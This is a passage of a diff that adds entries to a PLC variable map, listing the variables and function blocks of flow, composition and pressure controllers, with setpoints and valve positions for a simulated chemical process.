+45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +53;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +54;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +66;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +67;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +71;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +72;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +86;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +87;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +97;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +98;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +108;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +109;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +120;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +121;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +136;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +137;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +138;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +139;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +141;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +144;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +156;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +157;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +158;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +159;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +160;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +162;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +165;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +171;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +180;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +182;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; 